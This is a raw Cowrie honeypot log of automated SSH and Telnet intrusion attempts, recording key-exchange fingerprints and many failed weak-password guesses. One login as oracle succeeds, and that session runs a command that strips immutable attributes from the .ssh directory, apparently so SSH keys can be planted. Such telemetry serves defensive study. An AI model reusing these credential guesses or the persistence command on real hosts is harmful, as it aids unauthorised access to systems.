{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:32.179300Z","src_ip":"45.156.87.254","session":"fb26e62ad202","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:32.426076Z","src_ip":"45.156.87.254","session":"fb26e62ad202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:33.512314Z","src_ip":"45.156.87.254","session":"fb26e62ad202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56498,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7a5aed9e715","protocol":"ssh","message":"New connection: 45.156.87.254:56498 (159.203.135.109:22) [session: f7a5aed9e715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:36.138731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:36.147539Z","src_ip":"45.156.87.254","session":"f7a5aed9e715","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:36.230265Z","src_ip":"45.156.87.254","session":"f7a5aed9e715","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:36.481608Z","src_ip":"45.156.87.254","session":"f7a5aed9e715","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:37.590324Z","src_ip":"45.156.87.254","session":"f7a5aed9e715","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52030,"dst_ip":"159.203.135.109","dst_port":22,"session":"377f3f388536","protocol":"ssh","message":"New connection: 45.156.87.254:52030 (159.203.135.109:22) [session: 377f3f388536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:40.089866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:40.195431Z","src_ip":"45.156.87.254","session":"377f3f388536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:40.200804Z","src_ip":"45.156.87.254","session":"377f3f388536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:40.577162Z","src_ip":"45.156.87.254","session":"377f3f388536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:41.665463Z","src_ip":"45.156.87.254","session":"377f3f388536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52046,"dst_ip":"159.203.135.109","dst_port":22,"session":"37a677d051ab","protocol":"ssh","message":"New connection: 45.156.87.254:52046 (159.203.135.109:22) [session: 37a677d051ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:44.341266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:44.349403Z","src_ip":"45.156.87.254","session":"37a677d051ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:44.431951Z","src_ip":"45.156.87.254","session":"37a677d051ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:44.681942Z","src_ip":"45.156.87.254","session":"37a677d051ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":55788,"dst_ip":"10.17.0.5","dst_port":22,"session":"76e439874ab6","protocol":"ssh","message":"New connection: 186.30.115.187:55788 (10.17.0.5:22) [session: 76e439874ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:45.261424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:45.266435Z","src_ip":"186.30.115.187","session":"76e439874ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:45.353758Z","src_ip":"186.30.115.187","session":"76e439874ab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"toto","message":"login attempt [ubuntu/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:45.734332Z","src_ip":"186.30.115.187","session":"76e439874ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:45.766592Z","src_ip":"45.156.87.254","session":"37a677d051ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:46.826010Z","src_ip":"186.30.115.187","session":"76e439874ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":53982,"dst_ip":"10.17.0.5","dst_port":23,"session":"503743130a24","protocol":"telnet","message":"New connection: 20.123.41.163:53982 (10.17.0.5:23) [session: 503743130a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:48.145191Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44740,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cb25356a8e4","protocol":"ssh","message":"New connection: 45.156.87.254:44740 (159.203.135.109:22) [session: 7cb25356a8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:49.305446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:49.310063Z","src_ip":"45.156.87.254","session":"7cb25356a8e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:49.390668Z","src_ip":"45.156.87.254","session":"7cb25356a8e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:49.725495Z","src_ip":"45.156.87.254","session":"7cb25356a8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:50.909000Z","src_ip":"45.156.87.254","session":"7cb25356a8e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44756,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f2bbc07c59f","protocol":"ssh","message":"New connection: 45.156.87.254:44756 (159.203.135.109:22) [session: 3f2bbc07c59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:54.348228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:54.354445Z","src_ip":"45.156.87.254","session":"3f2bbc07c59f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:54.437165Z","src_ip":"45.156.87.254","session":"3f2bbc07c59f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:54.695208Z","src_ip":"45.156.87.254","session":"3f2bbc07c59f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:55.786589Z","src_ip":"45.156.87.254","session":"3f2bbc07c59f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":50470,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc0e20546774","protocol":"ssh","message":"New connection: 185.16.214.226:50470 (10.17.0.5:22) [session: dc0e20546774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:56.623890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:56.629217Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:56.755877Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"ZAQ!2wsx","message":"login attempt [oracle/ZAQ!2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:57.291491Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:57.598542Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:57.602443Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:57.606929Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:57.737921Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:49:58.039204Z","src_ip":"185.16.214.226","session":"dc0e20546774","protocol":"ssh"}
